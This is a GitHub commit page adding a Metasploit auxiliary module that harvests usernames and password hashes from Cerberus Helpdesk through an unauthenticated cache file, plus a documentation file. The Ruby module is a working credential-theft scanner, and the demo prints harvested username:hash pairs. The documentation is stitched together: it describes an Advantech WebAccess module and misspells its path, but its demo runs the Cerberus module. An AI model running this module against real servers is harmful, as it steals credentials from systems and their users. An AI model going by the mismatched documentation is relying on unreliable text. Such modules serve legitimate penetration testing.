Skip to content

Commit f008f2a

Browse files
committed
working code
1 parent e7fa4c2 commit f008f2a

File tree

2 files changed

+145
-0
lines changed

2 files changed

+145
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Description
2+
3+
This module exploits three vulnerabilities in Advantech WebAccess.
4+
5+
The first vulnerability is the ability for an arbitrary user to access the admin user list page,
6+
revealing the username of every user on the system.
7+
8+
The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with
9+
the data of an arbitrary user.
10+
11+
The final vulnerability exploited is that the HTML Form on the user edit page contains the user's
12+
plain text password in the masked password input box. Typically the system should replace the
13+
actual password with a masked character such as "*".
14+
15+
16+
## Vulnerable Application
17+
18+
Version 8.1 was tested during development:
19+
20+
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
21+
22+
8.2 is not vulnerable to this.
23+
24+
## Verification Steps
25+
26+
1. Start msfconsole
27+
2. ```use auxiliary/gahter/advantech_webaccess_creds```
28+
3. ```set WEBACCESSUSER [USER]```
29+
4. ```set WEBACCESSPASS [PASS]```
30+
5. ```run```
31+
32+
## Options
33+
34+
**WEBACCESSUSER**
35+
36+
The username to use to log into Advantech WebAccess. By default, there is a built-in account
37+
```admin``` that you could use.
38+
39+
**WEBACCESSPASS**
40+
41+
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
42+
does not have a password, which could be something you can use.
43+
44+
45+
## Demo
46+
47+
msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
48+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > show options
49+
50+
Module options (auxiliary/gather/cerberus_helpdesk_hash_disclosure):
51+
52+
Name Current Setting Required Description
53+
---- --------------- -------- -----------
54+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
55+
RHOSTS yes The target address range or CIDR identifier
56+
RPORT 80 yes The target port (TCP)
57+
SSL false no Negotiate SSL/TLS for outgoing connections
58+
THREADS 1 yes The number of concurrent threads
59+
URI / no URL of the Cerberus Helpdesk root
60+
VHOST no HTTP server virtual host
61+
62+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 10.90.5.81
63+
rhosts => 10.90.5.81
64+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
65+
66+
[-] Invalid response received for /storage/tmp/devblocks_cache---ch_workers
67+
[+] admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b
68+
[+] example:112302c209fe8d73f502c132a3da2b1c
69+
[+] foobar:0d108d09e5bbe40aade3de5c81e9e9c7
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::Report
11+
12+
def initialize
13+
super(
14+
'Name' => 'Cerberus Helpdesk User Hash Disclosure',
15+
'Description' => %q{
16+
This module extracts usernames and password hashes from the Cerberus Helpdesk
17+
through an unauthenticated accss to a workers file.
18+
Verified on Version 4.2.3 Stable (Build 925)
19+
},
20+
'References' =>
21+
[
22+
[ 'EDB', '39526' ]
23+
],
24+
'Author' => [
25+
'asdizzle_', #discovery
26+
'h00die', #module
27+
],
28+
'License' => MSF_LICENSE
29+
)
30+
31+
register_options(
32+
[
33+
OptString.new('URI', [false, 'URL of the Cerberus Helpdesk root', '/'])
34+
])
35+
end
36+
37+
def run_host(rhost)
38+
begin
39+
['devblocks', 'zend'].each do |site|
40+
url = "#{datastore['URI']}storage/tmp/#{site}_cache---ch_workers"
41+
vprint_status("Attempting to load data from #{url}")
42+
res = send_request_cgi({'uri' => url})
43+
if not res
44+
print_error("#{peer} Unable to connect to #{url}")
45+
else
46+
if res.body.include?('pass')
47+
# the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
48+
# this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
49+
result = res.body.split('s:5')
50+
result.each do |cred|
51+
if cred.include?('email')
52+
cred = cred.split(':')
53+
username = cred[3].tr('";', '') # remove extra characters
54+
username = username[0...-1] # also remove trailing s
55+
password_hash = cred[7].tr('";', '') # remove extra characters
56+
print_good("#{username}:#{password_hash}")
57+
store_valid_credential(
58+
user: username,
59+
private: password_hash,
60+
private_type: :nonreplayable_hash
61+
)
62+
end
63+
end
64+
break # no need to get the 2nd url
65+
else
66+
print_error("Invalid response received for #{url}")
67+
end
68+
end
69+
end
70+
71+
rescue ::Rex::ConnectionError
72+
print_error("#{peer} Unable to connect to site")
73+
return
74+
end
75+
end
76+
end

0 commit comments

Comments
 (0)